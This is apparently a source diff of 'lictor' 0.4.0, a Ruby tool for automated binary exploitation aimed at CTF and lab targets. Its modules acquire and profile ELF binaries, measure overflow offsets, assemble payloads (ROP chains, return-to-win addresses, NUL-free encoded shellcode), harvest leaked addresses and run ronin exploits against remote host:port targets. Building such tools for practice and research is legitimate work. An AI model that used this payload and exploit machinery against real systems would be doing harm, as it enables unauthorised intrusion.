lictor 0.4.0

data/lib/lictor/acquisition.rb

@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require "net/http"
+require "uri"
+require "fileutils"
+require "open3"
+require "timeout"
+require "securerandom"
+
+module Lictor
+  # The nmap -> binary bridge. After the scan, WHERE does the binary come
+  # from? Three honest answers: it is local (CTF/lab), it is
+  # downloadable (http/ftp on the target), or the target is a pure
+  # remote service with no retrievable ELF - in that case there is NO
+  # profiling: the facts come from the scan (service/software_version)
+  # and the service packs match them.
+  class AcquisitionError < StandardError; end
+
+  module Acquisition
+    ELF_MAGIC = "\x7fELF"
+    MAX_BYTES = 64 * 1024 * 1024
+
+    module_function
+
+    # source: "local:/path" or "http(s)://url". Returns {facts:, binary_path:}.
+    def acquire(target, source:, trail:, out_dir: ".", profiler_cmd: nil)
+      binary_path = fetch(source, out_dir: out_dir)
+      unless File.open(binary_path, "rb") { |f| f.read(4) == ELF_MAGIC }
+        raise AcquisitionError,
+          "#{binary_path} is not an ELF - a pure remote service has no profiled " \
+          "binary: its facts come from the scan (service facts) and service packs"
+      end
+
+      cmd = profiler_cmd || "augure-profile"
+      out, err, status = Timeout.timeout(300) { Open3.capture3(cmd, binary_path) }
+      unless status.success?
+        raise AcquisitionError,
+          "profiling failed: #{[out, err].map(&:strip).reject(&:empty?).join(" | ")}"
+      end
+
+      facts_path = File.join(out_dir, "target.facts")
+      File.write(facts_path, out)
+      trail.record(run: SecureRandom.uuid, type: "acquire", target: target,
+        source: source, binary: binary_path)
+      {facts: out, facts_path: facts_path, binary_path: binary_path}
+    rescue Timeout::Error
+      raise AcquisitionError, "profiling #{binary_path} timed out after 300s (hung metasm? check the binary)"
+    end
+
+    def fetch(source, out_dir:)
+      case source
+      when /\Alocal:(.+)/
+        path = Regexp.last_match(1)
+        raise AcquisitionError, "local source missing: #{path}" unless File.file?(path)
+
+        dest = File.join(out_dir, File.basename(path))
+        FileUtils.cp(path, dest) unless File.identical?(path, dest)
+        dest
+      when %r{\Ahttps?://}
+        dest = File.join(out_dir, File.basename(URI(source).path))
+        uri = URI(source)
+        response = Net::HTTP.start(uri.host, uri.port, use_ssl: source.start_with?("https"),
+          open_timeout: 10, read_timeout: 30) do |http|
+          http.get(uri.request_uri)
+        end
+        raise AcquisitionError, "download failed: HTTP #{response.code}" unless response.code.to_i == 200
+
+        body = response.body.to_s
+        raise AcquisitionError, "download too large (max #{MAX_BYTES})" if body.bytesize > MAX_BYTES
+
+        File.binwrite(dest, body)
+        dest
+      else
+        raise AcquisitionError, "source must be local:/path or http(s)://url, got #{source.inspect}"
+      end
+    end
+  end
+end

data/lib/lictor/config.rb

@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "yaml"
+
+module Lictor
+  # Project config: lictor.yml in the working directory (or an explicit
+  # path). Command-line flags override it. The engagement setup is
+  # written once; the commands stay short.
+  module Config
+    DEFAULT_PATH = "lictor.yml"
+
+    module_function
+
+    def load(path = DEFAULT_PATH)
+      return {} unless File.file?(path)
+
+      settings = YAML.safe_load_file(path)
+      raise ArgumentError, "lictor.yml: symbol keys are not supported - write plain \"key: value\" lines" if settings&.any? { |k, _| k.is_a?(Symbol) }
+      settings.to_h.transform_keys(&:to_sym)
+    rescue Psych::Exception => e
+      raise ArgumentError, "lictor.yml is not parseable config: #{e.message}"
+    end
+  end
+end

data/lib/lictor/executor.rb

@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+require "open3"
+require "timeout"
+require "tmpdir"
+
+module Lictor
+  # The execution layer. The interface is uniform; the implementations
+  # differ in how much they dare. ManualExecutor (the default) executes
+  # NOTHING - it hands off. RoninExecutor runs exploits from the
+  # operator's ronin repos, discovered at runtime, never invented.
+  class ExecutorError < StandardError; end
+
+  module Executor
+    module_function
+
+    def resolve(kind)
+      case kind
+      when :manual, "manual" then ManualExecutor.new
+      when :ronin, "ronin" then RoninExecutor.new
+      else raise ExecutorError, "unknown executor #{kind.inspect} (manual|ronin)"
+      end
+    end
+  end
+
+  # The default: augure decided, lictor prints, a human runs.
+  class ManualExecutor
+    def execute(target:, technique:, recipe:, exploit_name: nil, payload: nil, timeout: nil, flag_regex: nil)
+      {
+        executed: false,
+        success: nil,
+        handoff: recipe[:console] || "manual handoff: #{technique} against #{target}"
+      }
+    end
+  end
+
+  # Runs an exploit from the operator's installed ronin repos. The
+  # exploit NAME must come from discovery (ronin-exploits list) - a
+  # fabricated name is an ExecutorError. The ronin subprocess runs
+  # OUTSIDE the caller's bundle (RUBYOPT stripped): the operator
+  # installs ronin-exploits globally (gem install, the lab setup does
+  # it) - the executor does not drag the arsenal into its own bundle.
+  class RoninExecutor
+    # A MINIMAL environment: under `bundle exec` any surviving bundler
+    # hook (RUBYOPT's -rbundler/setup, a BUNDLE_* var, even the Gemfile
+    # of the working directory) freezes the gem set to lictor's bundle -
+    # and ronin-exploits is deliberately not in it, so the binstub dies
+    # in Gem.activate_bin_path. HOME + the current ruby's bindir (where
+    # `gem install` puts binstubs, plus mise shims when present) + the
+    # system dirs: that is all the arsenal needs.
+    CLEAN_ENV = {
+      "HOME" => ENV["HOME"].to_s,
+      "PATH" => [
+        File.dirname(RbConfig.ruby),
+        ENV["PATH"].to_s.split(":").find { |d| File.exist?(File.join(d, "mise")) },
+        "/usr/local/sbin", "/usr/local/bin", "/usr/sbin", "/usr/bin", "/sbin", "/bin"
+      ].compact.join(":"),
+      "LANG" => ENV["LANG"].to_s,
+      "TERM" => ENV["TERM"].to_s
+    }.freeze
+
+    def initialize(runner: "ronin-exploits")
+      @runner = runner
+    end
+
+    # The exploits available in the operator's repos, matched to the
+    # decided technique by the naming convention
+    # `<name>_<technique>_<nnn>` (ronin-exploits list shows names only).
+    def discover(technique)
+      out, _err, status = Open3.capture3(CLEAN_ENV, @runner, "list", unsetenv_others: true)
+      raise ExecutorError, "ronin-exploits list failed" unless status.success?
+
+      out.lines.filter_map do |line|
+        name = line.strip
+        name if name.include?(technique)
+      end
+    end
+
+    def execute(target:, technique:, recipe:, exploit_name: nil, payload: nil, timeout: nil, flag_regex: nil)
+      exploit_name ||= discover(technique).first
+      unless exploit_name
+        return {executed: false, success: nil,
+                note: "no #{technique} exploit in your repos (ronin-exploits list)"}
+      end
+
+      host, port = target.split(":", 2)
+      args = ["run", exploit_name, "--param", "host=#{host || target}"]
+      args += ["--param", "port=#{port}"] if port
+      args += ["--param", "payload_file=#{File.expand_path(payload)}"] if payload
+      # A neutral cwd: a Gemfile in the working directory pulls the
+      # subprocess back into a bundle context where ronin-exploits
+      # "is not included in the bundle".
+      out, _err, status = nil
+      Dir.chdir(Dir.tmpdir) do
+        # unsetenv_others: true = the env -i semantics - Open3 would
+        # otherwise MERGE CLEAN_ENV into the (bundler-contaminated)
+        # parent environment.
+        # the timeout kills the SERVER's wait, the child may linger: a
+        # black-holed target must not hang the stdio loop forever
+        out, _err, status = Timeout.timeout(timeout || 300) do
+          Open3.capture3(CLEAN_ENV, @runner, *args, unsetenv_others: true)
+        end
+      rescue Timeout::Error, SignalException
+        raise ExecutorError, "the runner timed out - a black-holed target hangs the loop"
+      end
+      # Success semantics: the flag in the OUTPUT is the truth the
+      # operator cares about; the exit code lies both ways (a polite
+      # exploit exits 0 on failure, a caught-cleanup exploit exits
+      # non-zero after landing the flag). Without a flag regex the exit
+      # code stays the oracle - the honest, weaker fallback.
+      if flag_regex
+        flag = out[/#{flag_regex}/]
+        {executed: true, success: !flag.nil?, exploit: exploit_name, output: out, flag: flag}
+      else
+        {executed: true, success: status.success?, exploit: exploit_name, output: out}
+      end
+    end
+  end
+end

data/lib/lictor/exploit_scaffold.rb

@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "securerandom"
+
+module Lictor
+  # When the repos have no exploit for a decided technique, lictor
+  # drafts one: a ronin exploit class carrying the MEASURED constants
+  # (offset, addresses) and the built payload loader. The file lands in
+  # the operator's repo (or a staging dir for the LLM flow) - the
+  # operator reads it and commits it. The exploit NAME follows the
+  # discovery convention, so the executor finds it right away.
+  module ExploitScaffold
+    class ScaffoldError < StandardError; end
+
+    module_function
+
+    # Returns the written path. technique: the decided technique;
+    # constants: the build result hash (offset:, ret_source:, path: ...).
+    def scaffold(technique:, constants:, repo_dir:, author:)
+      unless constants[:path] && File.file?(constants[:path])
+        raise ScaffoldError,
+          "the payload file is missing: #{constants[:path]}"
+      end
+
+      klass_name = "Lab#{technique.split("_").map(&:capitalize).join}#{format("%03d", next_index(repo_dir, technique))}"
+      file_name = "lab_#{technique}_#{format("%03d", next_index(repo_dir, technique))}.rb"
+      dest = File.join(repo_dir, file_name)
+      raise ScaffoldError, "#{dest} already exists - review it instead of overwriting" if File.exist?(dest)
+
+      File.write(dest, template(klass_name, file_name, technique, constants, author))
+      dest
+    end
+
+    def next_index(repo_dir, technique)
+      return 1 unless File.directory?(repo_dir.to_s)
+
+      existing = Dir.children(repo_dir.to_s)
+        .select { |f| f =~ /\Alab_#{technique}_(\d{3})\.rb\z/ }
+        .map { |_f| Regexp.last_match(1).to_i }
+      (existing.max || 0) + 1
+    end
+
+    require "erb"
+
+    def template(klass_name, file_name, technique, constants, author)
+      tpl = File.read(File.join(__dir__, "templates", "scaffold_exploit.rb.erb"))
+      locals = {
+        klass_name: klass_name,
+        register_name: file_name.sub(/\.rb\z/, ""),
+        technique: technique,
+        author: author,
+        offset: constants[:offset],
+        offset_source: constants[:offset_source],
+        ret_source: constants[:ret_source],
+        size: constants[:size],
+        payload_path: constants[:path]
+      }
+      ERB.new(tpl).result_with_hash(locals)
+    end
+  end
+end

data/lib/lictor/handoff.rb

@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "augure"
+
+module Lictor
+  # Handoff mode: augure decided, Lictor prints the recipe and a human runs
+  # it. No RPC, no daemon, no Metasploit install - the Ruby-native arsenal
+  # (ronin-exploits 2.1 + rex gems) carries the execution, from gems.
+  module Handoff
+    # technique -> ronin mixin mapping. Verified against ronin-exploits
+    # 1.1.1: the mixins ARE the framework vocabulary; the concrete exploit
+    # comes from the operator's installed ronin repos (community exploits
+    # are not bundled, so lictor never fabricates exploit names).
+    RONIN_MIXINS = {
+      "shellcode" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "ret2func" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "ret2plt" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "ret2libc" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "rop" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "srop" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "dlresolve" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "got_overwrite" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "stack_pivot" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "ret2csu" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "ret2plt_leak" => {mixin: "Binary", delivery: "RemoteTCP"},
+      "fmtstr_leak" => {mixin: "FormatString", delivery: "RemoteTCP"},
+      "fmtstr_write" => {mixin: "FormatString", delivery: "RemoteTCP"},
+      "got_overwrite (fmtstr)" => {mixin: "FormatString", delivery: "RemoteTCP"},
+      "heap_tcache" => {mixin: "Binary", delivery: "Local"},
+      "heap_fastbin" => {mixin: "Binary", delivery: "Local"},
+      "heap_overwrite" => {mixin: "Binary", delivery: "Local"}
+    }.freeze
+
+    module_function
+
+    def recipe(technique)
+      hint = RONIN_MIXINS.fetch(technique) do
+        {mixin: nil, delivery: nil}
+      end
+      mixin_line = hint[:mixin] ? " # mixin: Ronin::Exploits::Mixins::#{hint[:mixin]}" : ""
+      {
+        technique: technique,
+        runner: "ronin",
+        mixin: hint[:mixin],
+        console: "ronin-exploits run <exploit-name-from-your-repos> " \
+                 "--technique #{technique}#{mixin_line}"
+      }
+    end
+
+    def plan(facts:, seed: nil, priors: nil, packs: nil, technique: nil)
+      decision = Augure::Pipeline.analyze(facts: facts, seed: seed, priors: priors, packs: packs)
+      selected = technique || decision[:selected]
+      {
+        applicable: decision[:applicable],
+        ranking: decision[:ranking],
+        selected: selected,
+        recipe: selected ? recipe(selected) : nil,
+        explain: decision[:explain]
+      }
+    end
+  end
+end

data/lib/lictor/harvest.rb

@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "socket"
+require "securerandom"
+require "augure"
+
+module Lictor
+  # The dynamic leak: the service PRINTS its own addresses. Connect,
+  # capture what it says, parse the hex it hands over, and the facts
+  # gain leaked_address(name, addr) - addresses OBSERVED LIVE,
+  # provenance "observed-live". The banner_leak technique's engine.
+  module Harvest
+    class HarvestError < StandardError; end
+
+    HEX = /0x([0-9a-f]{4,16})/i
+
+    module_function
+
+    # host[:port]. Returns {addresses:, facts:} - the facts text ready
+    # to merge into the target's base. The socket work is the Tube's
+    # (ADR lictor 0001): one TCP implementation, one deadline semantics.
+    def harvest(target, trail:, timeout: 5, read_bytes: 512)
+      host, port = target.split(":", 2)
+      tube = Lictor::Tube.tcp(host, port, timeout: timeout)
+      banner = tube.read_bytes(limit: read_bytes)
+      tube.close
+      addresses = parse_banner(banner)
+      raise HarvestError, "no address in the banner" if addresses.empty?
+
+      facts = addresses.map { |name, addr| "leaked_address(\"#{name}\", #{addr})." }.join("\n") + "\n"
+      trail.record(run: SecureRandom.uuid, type: "harvest", target: target,
+        addresses: addresses.transform_values { |v| format("0x%x", v) })
+      {addresses: addresses, facts: facts}
+    rescue => e
+      raise HarvestError, "the service said nothing readable: #{e.message}"
+    end
+
+    # The banner parser, shared with the run's leak capture: hex
+    # addresses in a service's output, named by the announcing context.
+    def parse_banner(banner)
+      addresses = {}
+      banner.scan(HEX) do |hex|
+        addr = hex.first.to_i(16)
+        next if addr < 0x1000
+
+        # name the leak: "win() at 0x..." -> the function whose call the
+        # banner announced; the () between the name and the address is
+        # skipped first, the plain preceding word is the fallback
+        before = banner[0...Regexp.last_match.pre_match.length]
+        name = before[/([A-Za-z_][A-Za-z0-9_]*)\s*\(\s*\)\s*[^\n]*\z/, 1] ||
+          before[/([A-Za-z_][A-Za-z0-9_]*)\s*\z/, 1] ||
+          "leak"
+        addresses[name] ||= addr
+      end
+      addresses
+    end
+  end
+end

data/lib/lictor/pack_draft.rb

@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require "fileutils"
+require "yaml"
+require "augure"
+require "augure/pack_loader"
+
+module Lictor
+  # No technique applies and the crash carries facts: draft a PACK. The
+  # draft is honest by construction - its rule records the observed
+  # facts, its build layout carries the measured constants, and it goes
+  # to the STAGING directory for the operator to review. The armor runs
+  # on the draft before anything touches augure: a pack that would move
+  # a frozen corpus verdict is refused, and it is never auto-installed.
+  module PackDraft
+    class DraftError < StandardError; end
+
+    module_function
+
+    # Returns the draft path, or nil when a built-in technique already
+    # covers the observation (the draft says so instead of duplicating).
+    def draft(facts:, measurements:, staging_dir:)
+      decision = Augure::Pipeline.analyze(facts: facts, plan: false)
+      unless decision[:applicable].empty?
+        return nil # built-ins cover it: no pack needed, say so upstream
+      end
+
+      sink = measurements[:sink]
+      raise DraftError, "no measured sink - the draft would be pure invention" unless sink
+
+      name = "autodraft_#{sink}"
+      layout = measurements[:offset] ? [["padding", "measured_offset"]] : []
+      layout << ["qword", "win"] if facts.include?("win_symbol(")
+      layout << ["shellcode", "sh"] if facts.include?("nx(\"false\")")
+
+      yaml = {
+        "technique" => name,
+        "author" => "lictor auto-draft (operator review required)",
+        "source" => "auto-draft from run #{measurements[:run_id]}",
+        "rules" => [
+          {
+            "id" => "app_#{name}",
+            "head" => ["applicable", name],
+            "conditions" => [
+              ["fact", "vuln", "sof"],
+              ["fact", "sink", sink]
+            ]
+          }
+        ],
+        "kb" => [
+          {
+            "id" => "#{name}_001",
+            "technique" => name,
+            "description" => "Auto-drafted from the run's observations: the sink was #{sink}, " \
+                             "the offset measured #{measurements[:offset]} (#{measurements[:offset_source]}). " \
+                             "This draft records what was seen - the operator writes the craft.",
+            "chain" => ["observed", "measured"],
+            "unlocks" => [],
+            "success_rate" => 0.3
+          }
+        ],
+        "mcts" => {"requires" => [], "provides" => [], "terminal" => true, "success" => 0.3},
+        "priors" => [5, 15],
+        "build" => {"technique" => name, "arch" => "any", "layout" => layout}
+      }
+      require "yaml"
+      text = YAML.dump(yaml)
+      FileUtils.mkdir_p(staging_dir)
+      dest = File.join(staging_dir, "#{name}.yml")
+      File.write(dest, text)
+
+      # the armor reads the draft: a refused draft stays on disk with
+      # the refusal in the trail - the operator decides what to do
+      status = begin
+        Augure::PackLoader.load_dir(staging_dir)
+        Augure::PackLoader.corpus_guard(Augure::PackLoader.load_dir(staging_dir))
+        "valid"
+      rescue Augure::PackError => e
+        "refused: #{e.message[0, 80]}"
+      end
+      {path: dest, status: status, technique: name}
+    end
+  end
+end

data/lib/lictor/payload_builder.rb

@@ -0,0 +1,187 @@
+# frozen_string_literal: true
+
+require "yaml"
+require "augure"
+# metasm (+ augure-profiler) loads lazily in build(): every lictor
+# command would otherwise pay the 0.32 s load (H6)
+
+module Lictor
+  # The asploit inheritance: from the decision to the actual bytes.
+  # The offset is MEASURED (static frame read first, the cyclic pattern
+  # under the debugger as verifier/fallback), the return address comes
+  # from facts with their provenance, and the assembly follows a BUILD
+  # LAYOUT - data, not code: lictor ships layouts for its built-in
+  # families (config/build_layouts.yml) and packs may add layouts for
+  # their own techniques. The result is a payload file - like the
+  # original's ./payload dump - trailed for the audit.
+  module PayloadBuilder
+    class BuildError < StandardError; end
+
+    module_function
+
+    # binary: the acquired local ELF copy. facts: text or Facts.
+    # technique: the selected technique (drives the layout).
+    # packs: loaded augure packs - a pack build: layout for the
+    # technique WINS over the built-in file (packs teach, the builder
+    # follows).
+    # Returns {path:, offset:, offset_source:, sink:, ret:, ret_source:,
+    # arch:, size:}.
+    def build(binary:, facts:, technique:, out:, payload_file: nil, packs: nil, shellcode_path: nil)
+      require "augure-profiler" # lazy: metasm loads on the first build only
+      facts = Augure::Facts.parse(facts) if facts.is_a?(String)
+      # The ELF check FIRST: nothing executes - statically or under the
+      # debugger - until the file is a real ELF.
+      binary = File.expand_path(binary)
+      raise BuildError, "#{binary} is not an ELF - nothing executes, statically or under a debugger" unless elf?(binary)
+
+      # the acquired copy comes through File.binwrite (0644): the offset
+      # measurement runs it under the debugger, it must be executable
+      FileUtils.chmod(0o755, binary) unless File.executable?(binary)
+      begin
+        static = AugureProfiler::StaticOffset.offset(binary)
+      rescue
+        static = nil
+      end
+      offset = static&.dig(:offset)
+      offset_source = offset ? "static-frame" : nil
+      unless offset
+        offset = AugureProfiler::Triage.offset(binary)
+        offset_source = "gdb-cyclic" if offset
+      end
+      unless offset
+        raise BuildError,
+          "no measured offset - static analysis found no controlled return and the debugger did not either"
+      end
+
+      layout = layout_for(technique, packs)
+      arch = AugureProfiler.arch(binary)
+      width = (arch == :x64) ? "Q<" : "L<"
+      body, ret, ret_source = assemble(facts, layout, offset, arch, width, payload_file, shellcode_path)
+      File.binwrite(out, body)
+      {path: out, offset: offset, offset_source: offset_source, sink: static&.dig(:sink),
+       ret: ret, ret_source: ret_source, arch: arch, size: body.bytesize}
+    end
+
+    # lictor's data file first; a pack teaching the same technique with
+    # a build: section overrides (packs teach, the builder follows).
+    def layout_for(technique, packs = [])
+      built_in = YAML.load_file(File.expand_path("../config/build_layouts.yml", __dir__))
+      Array(packs).filter_map(&:build).find { |b| b["technique"] == technique }&.dig("layout") ||
+        built_in.dig(technique, "layout") or
+        raise BuildError, "no build layout for #{technique} - teach one in the pack or in build_layouts.yml"
+    end
+
+    # The layout slots, resolved against the facts and the measurement.
+    # Every unresolved reference is a loud error: the builder never
+    # guesses a byte.
+    def assemble(facts, layout, offset, arch, width, payload_file, shellcode_path = nil)
+      body = +""
+      ret = nil
+      ret_source = nil
+      layout.each do |slot|
+        case slot[0]
+        when "padding"
+          filler = (slot[2] == "sled") ? "\x90" : "A"
+          body << (filler * offset).b
+        when "qword", "dword"
+          # dword is 4 bytes WHATEVER the arch (a partial overwrite);
+          # qword is the arch's pointer width (8 on x64, 4 on x86)
+          slot_width = (slot[0] == "dword") ? "L<" : width
+          value, source = resolve_addr(facts, slot[1], slot_width)
+          ret ||= value
+          ret_source ||= source
+          body << [value].pack(slot_width)
+        when "shellcode"
+          sc = if payload_file
+            File.binread(payload_file)
+          else
+            stub = (slot[1] || "sh").to_sym
+            # the orw stub embeds its flag path: the builder-level
+            # shellcode_path is the operator's explicit override and
+            # wins over the slot's default (measured: the orw slot
+            # carried flag.txt, the shared ret2func flag came back)
+            path = shellcode_path || ((slot.size > 2) ? slot[2] : nil)
+            # seccomp: execve dies, the sh stub is a booby trap - the
+            # orw chain (open/read/write, clean exit) is the answer;
+            # the flag path defaults to the CTF convention.
+            if stub == :sh && facts["seccomp"]&.first&.first == "true"
+              stub = :orw
+              path ||= "flag.txt"
+            end
+            AugureProfiler::Shellcode.generate(shellcode_klass(arch), stub, path: path)
+          end
+          # The shellcode travels through a strcpy (the vuln=sof copy):
+          # the copied string stops at the first NUL, so a raw stub dies
+          # in the channel. The Encoder's xor wrapper (the decoder is
+          # zero-free by construction, the data is xor-keyed) crosses it;
+          # the decoded stub materializes in place at run time.
+          sc = AugureProfiler::Encoder.encode(sc.b, badchars: [0x00], arch: arch)[:bytes]
+          body << sc.b
+        when "chain"
+          slot[1..].each do |ref|
+            value, source = resolve_addr(facts, ref, width)
+            ret ||= value
+            ret_source ||= source
+            body << [value].pack(width)
+          end
+        else
+          raise BuildError, "unknown build slot #{slot[0].inspect}"
+        end
+      end
+      raise BuildError, "the layout produced no return address" if ret.nil?
+
+      [body, ret, ret_source]
+    end
+
+    # slot ref -> (address, provenance). "win" = the win_symbol fact,
+    # "gadget:TYPE" = the first gadget of that type (verified before use).
+    def resolve_addr(facts, ref, _width)
+      case ref
+      when "win"
+        win = facts["win_symbol"]&.first
+        raise BuildError, "no win_symbol fact - the winning function's address is unknown" unless win
+
+        [win[1], "win_symbol:#{win[0]}@#{win[1]}"]
+      when /\Agadget:(.+)\z/
+        type = Regexp.last_match(1)
+        gadget = facts["gadget"]&.find { |t, _| t == type }
+        raise BuildError, "no #{type} gadget in the facts" unless gadget
+
+        [gadget[1], "gadget:#{type}@#{gadget[1]}"]
+      when /\Aleak:(.+)\z/
+        name = Regexp.last_match(1)
+        leak = facts["leaked_address"]&.find { |n, _| n == name }
+        raise BuildError, "no leaked_address(\"#{name}\") fact - harvest the service first" unless leak
+
+        [leak[1], "leaked_address:#{name}@#{leak[1]}"]
+      when /\Aplt_addr:(.+)\z/
+        name = Regexp.last_match(1)
+        entry = facts["plt_addr"]&.find { |n, _| n == name }
+        raise BuildError, "no plt_addr(\"#{name}\") fact - profile the binary first" unless entry
+
+        [entry[1], "plt_addr:#{name}@#{entry[1]}"]
+      when /\Agot_addr:(.+)\z/
+        name = Regexp.last_match(1)
+        entry = facts["got_addr"]&.find { |n, _| n == name }
+        raise BuildError, "no got_addr(\"#{name}\") fact - profile the binary first" unless entry
+
+        [entry[1], "got_addr:#{name}@#{entry[1]}"]
+      when /\Aconst:(\d+)\z/
+        [Regexp.last_match(1).to_i, "const:#{Regexp.last_match(1)}"]
+      else
+        raise BuildError,
+          "unknown address reference #{ref.inspect} (win | gadget:TYPE | plt_addr:NAME | got_addr:NAME | leak:NAME | const:N)"
+      end
+    end
+
+    def elf?(path)
+      File.open(path, "rb") { |f| f.read(4) == "\x7fELF" }
+    rescue
+      false
+    end
+
+    def shellcode_klass(arch)
+      (arch == :x64) ? Metasm::X64 : Metasm::Ia32
+    end
+  end
+end